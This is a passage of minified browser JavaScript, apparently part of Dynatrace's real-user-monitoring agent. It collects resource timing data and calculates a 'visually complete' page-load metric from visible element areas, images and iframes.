!0)},!0),W.dT_.rBPSL(fa),Ka={}))}function S(q){-1<q.indexOf("ScriptResource.axd")?q="js":(q=q.substring(1+q.lastIndexOf("/")),0<q.indexOf("?")&&(q=q.split("?")[0]),0<q.indexOf("#")&&(q=q.split("#")[0]),q=0<q.indexOf(".")?q.substring(q.lastIndexOf(".")+1):"-");switch(q){case "js":return"s";case "gif":case "png":case "jpg":case "jpeg":case "ico":case "tiff":case "bmp":case "xbm":case "svg":return"i";case "css":return"c";default:return"o"}}function va(q){q=vb()+q.startTime;q-=V();return Math.round(q)}
function ja(q,D,t,y){var Y=q.resources;q=q.actionId;if(jb().op){for(var x=[],oa={},R=0;R<Y.length;R++){var O=Y[R];oa[O.name]||(x.push(O),oa[O.name]=!0)}Y=x}x=[];oa=0;for(R=Y;oa<R.length;oa++){O=x;var wa=O.push,Ga=R[oa],Wa=S(Ga.name.toLowerCase()),Eb=Ga,Lb=Eb.duration;!Lb&&La(Eb)&&(Lb=Eb.responseEnd-Eb.startTime);Eb=Lb?Math.round(Lb):0;Lb=va(Ga);var Nb=Ga;La(Nb)&&0<Nb.responseEnd?(Nb=vb()+Nb.responseEnd,Nb-=V(),Nb=Math.round(Nb)):Nb=Math.round(Va()-V());Eb={duration:Eb,start:Lb,stop:Nb};Lb=Ga.name;
Nb=nb(Ga.name);var ac=va(Ga)<=pa()?"_load_":"-",rc=0===Ga.responseEnd;var mc=Ga;mc=mc.failedResource?!1:nb(mc.name)===$a&&jb().ie?0!==mc.requestStart:0<mc.responseEnd;Ga=jb().ch?0!==Ga.domainLookupStart&&0===Ga.requestStart:nb(Ga.name)!==$a&&0===Ga.requestStart&&2>Ga.duration?!0:0>=Ga.responseEnd?!1:Ga.requestStart===Ga.fetchStart&&Ga.requestStart===Ga.responseStart&&Ga.responseStart!==Ga.responseEnd;wa.call(O,{type:Wa,Fb:Eb,Sa:{duration:0,start:0,stop:0},url:Lb,domain:Nb,Td:ac,$a:rc,Wa:mc,wb:Ga,
Rf:!1})}eb(D,q,x,Y,t,y)}function U(q,D,t,y){var Y=vb();if(!q.length||0>=Y)t("");else{var x=[];qa(q,function(oa){if(Ba&&x.length/2>=Ba)oa=!1;else{var R=oa.startTime,O;if(O=!(R<("iframe"===oa.initiatorType?1:0)))O=oa.actionId,O=!O||O===D;O&&(R=R?["b",Math.round(R)]:[],Hb(oa,R,vb()),x.push(Vb(oa.name),R.join("")));oa=!0}return oa},void 0,function(){t(aa("".concat(D||gc(),"-").concat(Math.round(Y),";").concat(x.join("|"))))},!y)}}function eb(q,D,t,y,Y,x){Ka={};U(y,D,function(oa){oa&&q.pg.push(oa);Y()},
x)}function L(q,D,t,y){var Y=ca;W.dT_.las()&&Y.gSig&&Y.re_r?(Y=pa(),!t&&(0>=Y||3E3>Va()-Y)?(W.dT_.sMPS(2E3),Y=!1):Y=!0):Y=!1;if(Y&&!D){D=ca;gb();D.gSig&&C(D.gSig(t),t);!Qb.length||W.dT_.last()+3E4<=Va()&&W.dT_.last()?(Qb=[],t=void 0):t=Qb.splice(0,1)[0];if(t)for(t=t.pg,D=0;D<t.length;D++)q.av(y,"rt",t[D],!0,D);Qb.length&&W.dT_.sMPS(100)}}function C(q,D){for(var t={pg:[],resourceSummaries:[]},y=q.length,Y=0,x=0;x<q.length;x++)ja(q[x],t,function(){Y++;Y===y&&(Qb.push(t),W.dT_.sMPS(0))},D)}function H(q,
D){var t=Va();Ka[D]||(q={type:q,Sa:{start:t,stop:0,duration:0},Fb:{start:0,stop:0,duration:0},url:D,domain:nb(D),Td:W.dT_.can()||"-",wb:!1,Wa:!1,$a:!1,Rf:!1},Ka[q.url]=q)}function Q(q,D,t,y){if(q=Ka[q])q.Sa.start=t||q.Sa.start,q.Sa.stop=y||Va(),q.Wa=D,D||(q.wb=!1,q.Rf=!0)}function ia(q){var D=nb(q),t=-1!==q.indexOf("chrome-extension://")||-1!==q.indexOf("chrome://")||-1!==q.indexOf("data:")||-1!==q.indexOf("javascript:")||-1!==q.indexOf("about:")||-1!==q.indexOf("res://");q=-1!==q.indexOf("://localhost/")||
-1!==q.indexOf("://localhost:")||D&&-1!==D.indexOf(".local",D.length-6);return I?!t:!t&&!q&&!!D&&D!==$a}var W="undefined"!==typeof window?window:self,la="undefined"!==typeof window?window:self,ua="function"===typeof PerformanceResourceTiming||"object"===typeof PerformanceResourceTiming,Ka={},Hb,ib,aa,qa,V,pa,Va,nb,lb,jb,Ab,gc,Vb,Ha,yb,vb,ca,Oa=500,Za=3,I=!0,ka=-1,Ba,$a,Cb=function(){function q(){this.head=null}q.prototype.add=function(D,t){if(!(D>t)){t={start:D,stop:t,next:null};var y=this.head,Y=
null;if(y){for(;y&&D>y.start;)Y=y,y=y.next;Y?(t.next=Y.next,Y.next=t):(t.next=this.head,this.head=t)}else this.head=t,t.next=null}};q.prototype.reduce=function(){for(var D=this.head;D&&D.next;){for(;D.next&&D.stop+1>=D.next.start;)D.stop<=D.next.stop&&(D.stop=D.next.stop),D.next=D.next.next;D=D.next}};q.prototype.dd=function(){this.reduce();var D=[];if(this.head){var t=this.head;do 0<D.length&&D.push("_"),D.push(t.start),D.push("_"),D.push(t.stop),t=t.next;while(t)}return D.join("")};return q}(),
bd=["c","o","i","s","y"],Qb=[],Zb;(function(q){var D,t;return(Zb=la.dT_)&&(null===(t=(D=W.dT_).ssmbi)||void 0===t?0:t.call(D,"2",q,!0))?(q=Zb,Hb=q.snt,ib=q.tpesc,aa=q.esc,qa=q.fE,V=q.lst,Va=q.nw,pa=q.gLAet,nb=q.gh,lb=q.loc,jb=q.gBI,Ab=q.aesc,gc=q.lAID,Vb=q.aur,Ha=q.stcv,yb=q.red,vb=q.gto,q=ca=la.dT_,D=W.dT_.scv("tp").split(","),t=D.length,3>t||5<t||(Oa=W.dT_.pn(D[0],10),Za=W.dT_.pn(D[2],10),4<=t&&(I=!!W.dT_.pn(D[3],10)),5<=t&&(ka=W.dT_.pn(D[4],10)),Ba=W.dT_.ncv("rtl"),q.syn&&(Ba=0,ka=-1,I=!0,Ha("rtp",
1),Ha("rtu",800)),$a=nb(lb())),W.dT_.st(gb,0),Ka={},W.dT_.aBPSL(fa),q=la.performance,0<((null===q||void 0===q?void 0:q.timeOrigin)||(null===q||void 0===q?void 0:q.timing.navigationStart))&&W.dT_.aBPSL(L),!0):!1})(!1)&&(Zb.tpih=ia,Zb.tpstr=H,Zb.tpsto=Q)})()})();
(function(){"undefined"!==typeof window&&window.setTimeout&&(window.setTimeout=window.setTimeout);var ra=this.dT_&&dT_.prm&&dT_.prm()||window.Promise;(function(){function La(){La=Object.assign||function(u){for(var E,N=1,ha=arguments.length;N<ha;N++){E=arguments[N];for(var sa in E)Object.prototype.hasOwnProperty.call(E,sa)&&(u[sa]=E[sa])}return u};return La.apply(this,arguments)}function gb(u,E){void 0===E&&(E=[]);var N=oc.dT_;N=(null===N||void 0===N?0:N.iIO)?N.iIO:null;return!(null===N||void 0===
N||!N(u,E))}function db(u){return u&&"IFRAME"===u.nodeName}function Ea(u){return u&&"IMG"===u.nodeName}function Ua(u,E,N,ha){function sa(Ia){return Ia instanceof N?Ia:new N(function(bb){bb(Ia)})}return new (N||(N=ra))(function(Ia,bb){function cb(fc){try{Ib(ha.next(fc))}catch(Ec){bb(Ec)}}function Fb(fc){try{Ib(ha["throw"](fc))}catch(Ec){bb(Ec)}}function Ib(fc){fc.done?Ia(fc.value):sa(fc.value).then(cb,Fb)}Ib((ha=ha.apply(u,E||[])).next())})}function Pa(u,E){function N(Ib){return function(fc){return ha([Ib,
fc])}}function ha(Ib){if(Ia)throw new TypeError("Generator is already executing.");for(;sa;)try{if(Ia=1,bb&&(cb=Ib[0]&2?bb["return"]:Ib[0]?bb["throw"]||((cb=bb["return"])&&cb.call(bb),0):bb.next)&&!(cb=cb.call(bb,Ib[1])).done)return cb;if(bb=0,cb)Ib=[Ib[0]&2,cb.value];switch(Ib[0]){case 0:case 1:cb=Ib;break;case 4:return sa.label++,{value:Ib[1],done:!1};case 5:sa.label++;bb=Ib[1];Ib=[0];continue;case 7:Ib=sa.Ja.pop();sa.ia.pop();continue;default:if(!(cb=sa.ia,cb=0<cb.length&&cb[cb.length-1])&&(6===
Ib[0]||2===Ib[0])){sa=0;continue}if(3===Ib[0]&&(!cb||Ib[1]>cb[0]&&Ib[1]<cb[3]))sa.label=Ib[1];else if(6===Ib[0]&&sa.label<cb[1])sa.label=cb[1],cb=Ib;else if(cb&&sa.label<cb[2])sa.label=cb[2],sa.Ja.push(Ib);else{cb[2]&&sa.Ja.pop();sa.ia.pop();continue}}Ib=E.call(u,sa)}catch(fc){Ib=[6,fc],bb=0}finally{Ia=cb=0}if(Ib[0]&5)throw Ib[1];return{value:Ib[0]?Ib[1]:void 0,done:!0}}var sa={label:0,J:function(){if(cb[0]&1)throw cb[1];return cb[1]},ia:[],Ja:[]},Ia,bb,cb,Fb;return Fb={next:N(0),"throw":N(1),"return":N(2)},
"function"===typeof Symbol&&(Fb[Symbol.iterator]=function(){return this}),Fb}function za(u){return jd&&gb(u,13)&&"navigation"!==u.entryType||gb(u,["_dtCl"])}function ab(){return Se}function ba(u,E,N){if(!ke[N]){var ha=new Image;E={url:N,time:Na.dT_.nw(),element:ha,Tj:E};ta(ha,E,u);ha.src=N;ke[N]=ha}return ke[N]}function Z(u,E,N){var ha=Wc[E][N]||[];if(u.element){var sa=Na.dT_.aFI(ha,function(Ia){return Ia.element===u.element});0<=sa&&ha.splice(sa,1)}Aa(u,E,N)}function Aa(u,E,N){Wc[E][N]||(Wc[E][N]=
[]);Wc[E][N].push(u)}function na(u,E,N){E=Wc[E][N]||[];u=Na.dT_.aIOf(E,u);0<=u&&E.splice(u,1)}function ta(u,E,N){function ha(){na(E,2,N);Z(E,1,N);var Ia=ha;u.removeEventListener("load",sa);u.removeEventListener("error",Ia)}function sa(){na(E,2,N);var Ia=ha;u.removeEventListener("load",sa);u.removeEventListener("error",Ia)}Aa(E,2,N);u.addEventListener("load",sa);u.addEventListener("error",ha)}function Ma(){}function Ja(u){return 0<u.left+u.width&&u.left<va()&&0<u.top+u.height&&u.top<S()}function fa(u,
E,N){E=N||E.tagName||E.nodeName;return u&&0<u.width&&0<u.height&&Ja(u)&&"BODY"!==E}function S(){Rd||(Rd=oc.innerHeight||Bd.clientHeight);return Pd.bwsH||Rd}function va(){Xe||(Xe=oc.innerWidth||Bd.clientWidth);return Pd.bwsW||Xe}function ja(u){var E=va(),N=S();return{top:0,left:0,width:Math.max(0,Math.min(u.left+u.width,E))-Math.max(0,Math.min(u.left,E)),height:Math.max(0,Math.min(u.top+u.height,N))-Math.max(0,Math.min(u.top,N))}}function U(u,E,N){if(!N&&eb(u))return!0;u=N||qa(E);(E="hidden"===u.visibility||
"none"===u.display||"0"===u.opacity||"polygon(0px 0px, 0px 0px, 0px 0px, 0px 0px)"===u.clipPath)||(E=u.transform||"",u=!1,N=E.indexOf("("),0<N&&(E=E.substring(N+1,E.length-1).split(", "),u="0"===E[0],6===E.length?u=u||"0"===E[3]:16===E.length&&(u=u||"0"===E[5]||"0"===E[10])),E=u);return E}function eb(u){if(0<dc&&u.ue>=dc)return u.ve++,!0;u.ue++;return!1}function L(u){return Math.ceil(u.width*u.height)}function C(u,E,N,ha,sa,Ia){var bb;void 0===Ia&&(Ia="");try{if(!ha&&(ha=H(E,u.cb,sa),!fa(ha,E)))return null;
sa=ha;var cb=(bb={},bb.url=Ia,bb.time=0,bb.node=E,bb.v=!U(u,E,N),bb.area=L(ja(sa)),bb.offset={top:sa.top,left:sa.left,width:sa.width,height:sa.height},bb.is=0,bb),Fb=Na.dT_.tau(Ia);(u=wb)&&u.test(Fb)&&(cb.is=2);return cb}catch(Ib){}return null}function H(u,E,N){void 0===E&&(E=new WeakMap);var ha=Na.dT_.gFId();var sa=E;E=sa.get(u);E||(E={},sa.set(u,E));if(E[ha])ha=E[ha];else{sa=oc.pageYOffset;var Ia=u.clientTop,bb=oc.pageXOffset,cb=u.clientLeft,Fb=0,Ib=0;V(u)&&(Fb=u.offsetWidth,Ib=u.offsetHeight);
Fb={top:0,left:0,offsetWidth:Fb,offsetHeight:Ib,clientWidth:u.clientWidth,clientHeight:u.clientHeight};if("function"===typeof u.getBoundingClientRect)try{var fc=u.getBoundingClientRect(),Ec=fc.left;Fb.top=fc.top+sa-Ia;Fb.left=Ec+bb-cb}catch(ld){}ha=E[ha]=Fb}fc=ha.top;Ec=ha.left;N&&(fc+=N.top,Ec+=N.left);N={top:fc,left:Ec,width:ha.clientWidth,height:ha.clientHeight};V(u)&&(N.width=ha.offsetWidth,N.height=ha.offsetHeight);return N}function Q(u){return u.area>rb&&u.v&&0===u.is&&0<u.time}function ia(u,
E){for(var N=0;N<E.length;N++){var ha=E[N],sa=0,Ia=ha===u?2:0;Q(ha)&&(Ia=Math.max(Ia,1));0===Ia&&(sa=0,ha.v||(sa+=1),ha.area>rb||(sa+=2),0!==ha.is&&(sa+=4));ha.relevance=Ia;ha.ireason=sa}}function W(u){if(u.length)return Na.dT_.red(u,function(E,N){return Q(N)&&(!E||E.time<=N.time)?N:E},void 0)}function la(){var u=Na.dT_.bcv,E=Na.dT_.scv,N=Na.dT_.ncv,ha=Na.dT_.de(E("iub"));try{ha&&(wb=new RegExp(ha,"i"))}catch(sa){}pc=u("vcfi");Sc=N("vcx");ed=N("tvc");$b=E("uana");Ac=Na.dT_.puesc(E("mb"));Ic=N("vcit");
Nc=1E3*Math.max(0,N("oat")-5);qd=u("fvdi");dc=N("vscl");rb=N("vct");ad=u("ccNcss");Lc=u("vrt")}function ua(u){for(var E=0;E<Te.length;E++)if(Te[E]===u){Te.splice(E,1);break}}function Ka(u){for(var E=Te.slice(),N=Te.length=0;N<E.length;N++)(0,E[N])(u)}function Hb(u){return!!u&&"about:blank"!==u&&u!==location.href&&u!==location.href.substring(0,location.href.lastIndexOf("/")+1)}function ib(u){try{return!!u.contentWindow&&!Na.dT_.gNNTV(u.contentWindow.performance,"loadEventEnd")}catch(E){return!1}}function aa(u){return!!u.area}
function qa(u,E){void 0===E&&(E=oc);return E.getComputedStyle(u)}function V(u){var E=ye.get(u);if(E)return E;E=(gb(u,9)||u&&u.nodeType&&1===u.nodeType)&&("string"===typeof u.textContent||"string"===typeof u.innerText);ye.set(u,E);return E}function pa(u){var E=Na.dT_.gNTO(u);return function(N,ha){var sa=ha.duration,Ia=E+ha.startTime+sa;!sa&&za(ha)&&(Ia=E+ha.responseEnd);return Math.max(N,Ia)}}function Va(u,E,N){if(u){var ha;var sa=(ha={},ha.time=u.time,ha.offset=u.offset,ha.area=u.area,ha.url=u.url,
ha.v=u.v,ha.node=u.node,ha.is=0,ha);sa.v&&(sa.v=E);N.push(sa)}}function nb(u,E,N,ha,sa,Ia,bb){return Ua(this,void 0,void 0,function(){var cb,Fb;return Pa(this,function(Ib){switch(Ib.label){case 0:return(cb=C(u,E,N,ha))&&E.contentWindow?[4,ka(u,E.contentWindow,cb.offset,void 0,sa)]:[3,2];case 1:Fb=Ib.J(),Na.dT_.fE(Fb,function(fc){fc.v=fc.v&&Ia;bb.push(fc)}),Ib.label=2;case 2:return[2]}})})}function lb(u,E,N){var ha=u.gLVD();return ha?(Va(ha.k,E,N),ra.resolve()):new ra(function(sa){u.addE("VISUALLY_COMPLETE",
function(Ia){Va(Ia.detail.k,E,N);sa()})})}function jb(u,E,N,ha,sa,Ia,bb){void 0===bb&&(bb=!1);return new ra(function(cb,Fb){var Ib=!1,fc;eb(u)||(fc=qa(E,N));var Ec=fc&&fc.backgroundImage;if(Ec&&"none"!==Ec){var ld=0;for(Ec=Ec.split(",").map($a).filter(Oa);ld<Ec.length;ld++){var fd=Ec[ld];(fd=C(u,E,fc,Ia,ha,Na.dT_.tau(fd)))&&sa.push(fd)}}if(db(E)){var hd=E.contentWindow;Ib=function(){var od=fc,we=bb,ce;try{if(hd&&hd.dT_){var Xd=hd.dT_;Xd&&"ea"in Xd&&(ce=Xd)}}catch(Hd){}Xd=!U(u,E)&&Ja(Ia);(ce&&ce.gLVD?
lb(ce,Xd,sa):nb(u,E,od,Ia,we,Xd,sa)).then(cb)["catch"](Fb)};!bb&&ib(E)?(E.addEventListener("load",Ib),E.addEventListener("error",Ib)):Ib();Ib=!0}Ea(E)&&(fd=I(E))&&(ld=C(u,E,fc,Ia,ha,fd))&&sa.push(ld);Ib||cb()})}function Ab(u,E,N,ha,sa,Ia){void 0===Ia&&(Ia=!1);return Ua(this,void 0,void 0,function(){var bb,cb;return Pa(this,function(Fb){switch(Fb.label){case 0:return Fb.ia.push([0,6,,7]),bb=H(E,u.cb),cb=N.getComputedStyle(E),(V(E)?E.offsetWidth*E.offsetHeight>rb:E.clientWidth*E.clientHeight>rb)?fa(bb,
E)?[4,jb(u,E,N,ha,sa,bb,Ia)]:[3,2]:[3,3];case 1:Fb.J(),Fb.label=2;case 2:return[3,5];case 3:return Na.dT_.iIO(E,10)||cb.backgroundImage&&"none"!==cb.backgroundImage?[4,jb(u,E,N,ha,sa,bb,Ia)]:[3,5];case 4:Fb.J(),Fb.label=5;case 5:return[3,7];case 6:return Fb.J(),[3,7];case 7:return[2]}})})}function gc(u){return bc?Ha(1,u).concat(Ha(2,u)):[]}function Vb(u){return function(E){var N=Na.dT_.gto(),ha=E.time-N;N=(E.endTime||E.time)-N;return{name:E.url,failedResource:u,startTime:ha,responseEnd:N,duration:N-
ha,_dtCl:!0}}}function Ha(u,E){var N=Na.dT_.aM(Wc[u][E]||[],Vb(u));E?delete Wc[u][E]:Wc[u]={};return N}function yb(u){return!u.time}function vb(u,E,N){u=u.getEntriesByName(N.url,"resource")[0];za(u)?N.time=Math.round(E+u.responseEnd):N.time=0}function ca(u,E){var N=null,ha=0;try{N=E.performance,ha=Na.dT_.gNTO(N)}catch(sa){}N&&u.filter(yb).forEach(vb.bind(null,N,ha))}function Oa(u){return!(!u||0!==u.indexOf("http"))}function Za(u,E){return"loading"in HTMLImageElement.prototype&&"lazy"===u.getAttribute("loading")&&
!Ja(H(u,E))}function I(u){try{if(u.srcset)return u.currentSrc;var E=u.parentElement;if(E&&"PICTURE"===E.nodeName)for(var N=0;N<E.children.length;N++)if("SOURCE"===E.children[N].tagName)return u.currentSrc;return u.currentSrc||u.src}catch(sa){try{var ha=u.getAttribute("src");return ha?Na.dT_.tau(ha):""}catch(Ia){return""}}}function ka(u,E,N,ha,sa){void 0===sa&&(sa=!1);return Ua(this,void 0,void 0,function(){var Ia,bb;return Pa(this,function(cb){switch(cb.label){case 0:Ia=[];try{bb=(ha||E.document).getElementsByTagName("*")}catch(Fb){return[2,
Ia]}return[4,Na.dT_.fEP(bb,function(Fb,Ib,fc,Ec){Ab(u,Fb,E,N,Ia,sa).then(Ec)["catch"](Ma)},void 0,!(ic.syn||sa))];case 1:return cb.J(),ca(Ia,E),[2,Ia]}})})}function Ba(u,E,N,ha){var sa={uf:[],style:void 0};if(!N&&!ad||eb(ha))return sa;N=qa(u);if(!N)return sa;sa.style=N;(N=N.backgroundImage)&&"none"!==N&&(sa.uf=N.split(",").map($a).filter(Oa).filter(Hb).map(ba.bind(null,E,u)));return sa}function $a(u){void 0===u&&(u="");zd.lastIndex=0;return(u=zd.exec(u))&&1<u.length?u[1]||u[2]||u[3]:""}function Cb(u,
E,N,ha){if(pc&&!u.dT_vcInstr&&!Za(u,ha.cb))if(Ea(u)){if(N=I(u),Hb(N)&&Oa(N)){N={url:N,time:Na.dT_.nw(),element:u};u.dT_vcInstr=!0;a:if(!u.complete||u.naturalWidth||Na.dT_.gBI().ie)ha=u.complete?"SUCCESSFUL":"PENDING";else{if(Na.dT_.gBI().ff){var sa=ha=I(u),Ia=ha.indexOf("?");0<=Ia&&(sa=ha.substring(0,Ia));if(sa.lastIndexOf(".svg")===sa.length-4){ha="UNKNOWN";break a}}ha="FAILED"}switch(ha){case "FAILED":Z(N,1,E);break;case "PENDING":ta(u,N,E)}}}else V(u)&&Ba(u,E,N,ha)}function bd(u,E,N,ha){var sa=
E.contentWindow;if(!sa)return ra.resolve();try{var Ia=sa.dT_}catch(cb){}var bb=!U(u,E)&&Ja(ha);return Ia&&Ia.gLVD?lb(Ia,bb,u.ya):ka(u,sa,N).then(function(cb){var Fb;(Fb=u.ya).push.apply(Fb,cb.map(function(Ib){var fc;return La(La({},Ib),(fc={},fc.v=Ib.v&&bb,fc))}))})}function Qb(){Ka("f");return af}function Zb(){var u=ic;u.gUI=gc;u.vWW=va;u.vWH=S;u.gVCP=Qb;u.gLVD=ab}function q(u){for(var E=0,N=0,ha=0,sa=Na.dT_.red(u,function(cb,Fb){return cb+Fb.Ud},0),Ia=0;Ia<u.length;Ia++){var bb=u[Ia];N=bb.time-
N;0<N&&1>ha&&(E+=(1-ha)*N);ha+=bb.Ud/sa;N=bb.time}return Math.round(E)}function D(u,E,N){var ha=[],sa;for(sa in u)if(Na.dT_.oHOP(u,sa)){var Ia=u[sa].Ub;ha.push({time:Number(sa)-N,Ud:Ia/E,Ub:Ia})}ha.sort(function(bb,cb){return bb.time-cb.time});return ha}function t(u){return u.v}function y(u,E){var N,ha=E.time;E=E.area;null!==(N=u[ha])&&void 0!==N?N:u[ha]={Ub:0,Ud:0,time:0};u[ha].Ub+=E;return u}function Y(u){u.Bb--;O(u)}function x(u,E){var N=-1;if(E){N=Math;var ha=E.time;N=N.round.call(N,0>ha?-1:ha-
u.ub);N>Nc&&(u.trigger="t",N=-2);var sa=E.node;if(sa){ha=E.area;var Ia={left:NaN,top:NaN};try{Ia=sa.getBoundingClientRect()}catch(Ib){}var bb=$b.split(",");ha={location:{x:Math.ceil(Ia.left),y:Math.ceil(Ia.top)},size:Math.ceil(ha),hj:sa.getAttribute("class"),id:sa.getAttribute("id"),name:sa.getAttribute("name"),tagName:sa.tagName,Wg:Na.dT_.gecsss(sa)};for(Ia=0;Ia<bb.length;Ia++){var cb=bb[Ia],Fb=sa.getAttribute(cb);if(Fb){ha.Qh={key:cb,value:Fb};break}}ha?(sa=ha.Qh,cb=ha.location,Fb=ha.size,bb=ha.tagName,
Ia=ha.Wg,ha=Na.dT_.aesc(ha.name||""),cb=[cb.x,cb.y,Fb],ha&&cb.push("n;".concat(ha)),sa&&cb.push("u;".concat(Na.dT_.aesc(sa.key),",").concat(Na.dT_.aesc(sa.value))),Ia?cb.push("s;".concat(Na.dT_.aesc(Ia))):cb.push("t;".concat(Na.dT_.aesc(bb))),ha=cb.join("|")):ha="";E.kd=ha}u.mh&&(bc=!0)}return N}function oa(u,E,N){var ha=Na.dT_.nw()-E.vf,sa=Na.dT_.nw(),Ia=E.ya.filter(aa);var bb=E.ub;Na.dT_.nw();for(var cb=Ia.length-1;0<cb;cb--)for(var Fb=Ia[cb],Ib=cb-1;0<=Ib;Ib--){var fc=Ia[Ib],Ec=fc.area,ld=Fb.area;
if(ld&&Ec&&2500<Ec){var fd=Fb.offset,hd=fc.offset,od=ne(fd.top,hd.top),we=ne(fd.left,hd.left),ce=ze(fd.left+fd.width,hd.left+hd.width);fd=ze(fd.top+fd.height,hd.top+hd.height);we=ne(0,ce-we);od=ne(0,fd-od);fc.area=ne(0,Ec-ze(Math.round(we*od),ld))}}Ia=Ia.filter(t).reduce(y,{});bb=D(Ia,va()*S(),bb);vd=q(bb);vd>u&&(vd=u);Na.dT_.nw();bb=vd;sa=Na.dT_.nw()-sa;u=[["V",u+"|"+E.trigger],["VCD",String(ha)],["VCDS",String(sa)],["VCS",String(E.vf-E.ub)],["VCO",String(E.eg-E.ub)],["VCI",String(E.ve)]];(N=(null===
N||void 0===N?void 0:N.kd)||"")&&Na.dT_.apush(u,["VE",N]);Na.dT_.apush(u,["S",String(0<=bb?bb:-1)]);Na.dT_.cAE("_vc_",u,E.G,E.ub)}function R(u){var E,N,ha;"n"===u.trigger&&(u.trigger=u.lb?"f":"c");u.ya.sort(function(cb,Fb){return cb.time-Fb.time});var sa=W(u.ya),Ia=x(u,sa);oa(Ia,u,sa);ia(sa,u.ya);af=Ia;var bb=(E={},E.t=u.trigger,E.k=sa,E.v=Ia,E);Se=bb;Na.dT_.disE((N={},N.kind="VISUALLY_COMPLETE",N.detail=La(La({},bb),(ha={},ha.a=u.G,ha.e=u.ya,ha)),N));sa&&(sa.node=null);u.ya=[];ua(u.Kf);u.Sf=!0;u.Ch(-1<
Ia?u.ub+Ia:-1)}function O(u){var E=u.Gf===u.If,N=!u.Bb;E&&N&&u.ra&&(Na.dT_.ct(u.ra),u.ra=0);!u.Sf&&N&&(!u.Hc.length&&E||u.lb)&&R(u)}function wa(){var u=!1;pc&&Na.dT_.addE("INSTRUMENTATION_TRIGGERED",function(){if(!u){u=!0;for(var E=Na.dT_.gEBTN("*"),N={ue:0,ve:0,cb:new WeakMap},ha=0;ha<E.length;ha++)Cb(E[ha],Na.dT_.lAID(),!0,N)}})}function Ga(){var u;ye=new WeakMap;wa();He=!(null===(u=document.body)||void 0===u||!u.childElementCount);Na.dT_.las()||Na.dT_.aMO(Na.dT_.lAID());Na.dT_.addE("ACTION_ENTERED",
function(E){Na.dT_.aMO(E.detail.i);E.detail.i===E.detail.r&&Ka("u")});Na.dT_.addE("ACTION_CLOSED",function(E){E=E.detail;var N=E.i,ha=E.r,sa=E.f,Ia=E.a;if(E.dne)Na.dT_.rMO(N);else{var bb=function(Ib){if("u"!==Ib||N===Na.dT_.lAID())Na.dT_.ct(cb),Wa(N,ha===N,!0,Ia,bb,Fb,Ib)};Te.push(bb);E=Wa(N,ha===N,sa,Ia,bb);var cb=E.ra,Fb=E.Dg}});Na.dT_.addE("ACTION_BEACON_FORCED",function(){Ka(Na.dT_.las()?"l":"f")})}function Wa(u,E,N,ha,sa,Ia,bb){if(!E)return Na.dT_.rMO(u),ve;var cb=Ia||Na.dT_.aAWC(u);if(!cb)return ve;
if(!N)return{ra:Na.dT_.st(function(){gd(u,cb,!1,ha,sa,bb)},Sc),Dg:cb};gd(u,cb,!0,ha,sa,bb);return ve}function Eb(u,E){return function(N){N=E+N.time;return!u||u<=N}}function Lb(u,E,N,ha,sa){var Ia=ha.push;a:{var bb;if((N||!u.wd.has(sa))&&sa.nodeType!==Node.TEXT_NODE&&V(sa)){var cb=Ba(sa,u.G,N,u),Fb=cb.uf;Ea(sa)?(Cb(sa,u.G,N,u),Fb.push(sa)):db(sa)&&Fb.push(sa);if(N=sa&&sa.nodeType&&1===sa.nodeType)try{var Ib=Ac;N=!!Ib&&sa.matches(Ib)}catch(Ec){N=!1}if(Fb.length&&!N)for(bb=0;bb<Fb.length;bb++)Sa(Fb[bb],
u,E,sa,cb.style);else Fb=H(sa,u.cb),Fb=L(ja(Fb)),Kc(u,(bb={},bb.time=Math.round(E),bb.node=sa,bb.area=Fb,bb.v=!U(u,sa,cb.style),bb.url="",bb.offset={top:0,left:0,width:0,height:0},bb.is=N?1:0,bb));try{if(sa.hasChildNodes()){var fc=sa.childNodes;break a}}catch(Ec){}}fc=[]}Ia.call(ha,fc)}function Nb(u,E){return Ua(this,void 0,void 0,function(){var N,ha,sa;return Pa(this,function(Ia){switch(Ia.label){case 0:return N=!E.lb,ha=Na.dT_.gXACT(E.G)[0],sa=u,ha?[4,Na.dT_.fP(u,Eb(ha,Na.dT_.gto()),N)]:[3,2];case 1:sa=
Ia.J(),Ia.label=2;case 2:return[4,Na.dT_.fEP(sa,function(bb,cb,Fb,Ib){var fc=[],Ec=bb.time;Na.dT_.fEP(bb.nodes,Lb.bind(null,E,Ec,!0,fc),Ec,N).then(function(){return Na.dT_.fEP(fc,function(ld,fd,hd,od){Na.dT_.fEP(ld,Lb.bind(null,E,Ec,!1,fc),null,N,!0).then(od)["catch"](Ma)},null,N,!0)}).then(Ib)["catch"](Ma)},null,N,!0)];case 3:return Ia.J(),[2,E]}})})}function ac(u,E,N){Na.dT_.ct(u.Yb);Na.dT_.ct(u.Fc);Na.dT_.rMO("vc-timeout-".concat(E));u.Yb=-1;u.Fc=-1;Oc(E,N,!0)}function rc(u,E){var N={Fc:-1,Yb:-1};
N.Fc=Na.dT_.st(function(){ac(N,u,E)},ed);mc(u,E,N);Na.dT_.aMO("vc-timeout-".concat(u),function(){mc(u,E,N)});return N}function mc(u,E,N){Na.dT_.ct(N.Yb);N.Yb=Na.dT_.st(function(){ac(N,u,E)},Ic)}function Oc(u,E,N){return Ua(this,void 0,void 0,function(){var ha,sa;return Pa(this,function(Ia){switch(Ia.label){case 0:ha=Na.dT_.gMN(u);Na.dT_.rMO(u);E.eg=Na.dT_.nw();E.Bb++;if(!N||!He&&!qd)return[3,2];E.Bb++;return[4,ka(E,oc,void 0,void 0,E.lb)];case 1:return sa=Ia.J(),sa.forEach(Kc.bind(null,E)),Y(E),[3,
3];case 2:ha.length||O(E),Ia.label=3;case 3:return[4,Nb(ha,E)];case 4:return Ia.J(),Y(E),[2]}})})}function Kc(u,E){var N=E.node;if(N){if(u.wd.has(N)){(N=u.wd.get(N))&&E.time>u.ya[N].time&&(u.ya[N]=E);return}u.wd.set(N,u.ya.length)}u.ya.push(E)}function gd(u,E,N,ha,sa,Ia){void 0===Ia&&(Ia="n");ua(sa);sa=ic;sa.syn&&sa.logSynthetic("Starting vc calculation with arguments ".concat(JSON.stringify({G:u,force:N,ub:ha,trigger:Ia}),". Stack:\n").concat(Error().stack));sa=Na.dT_.lAID()===u;var bb={ub:ha,Gf:0,
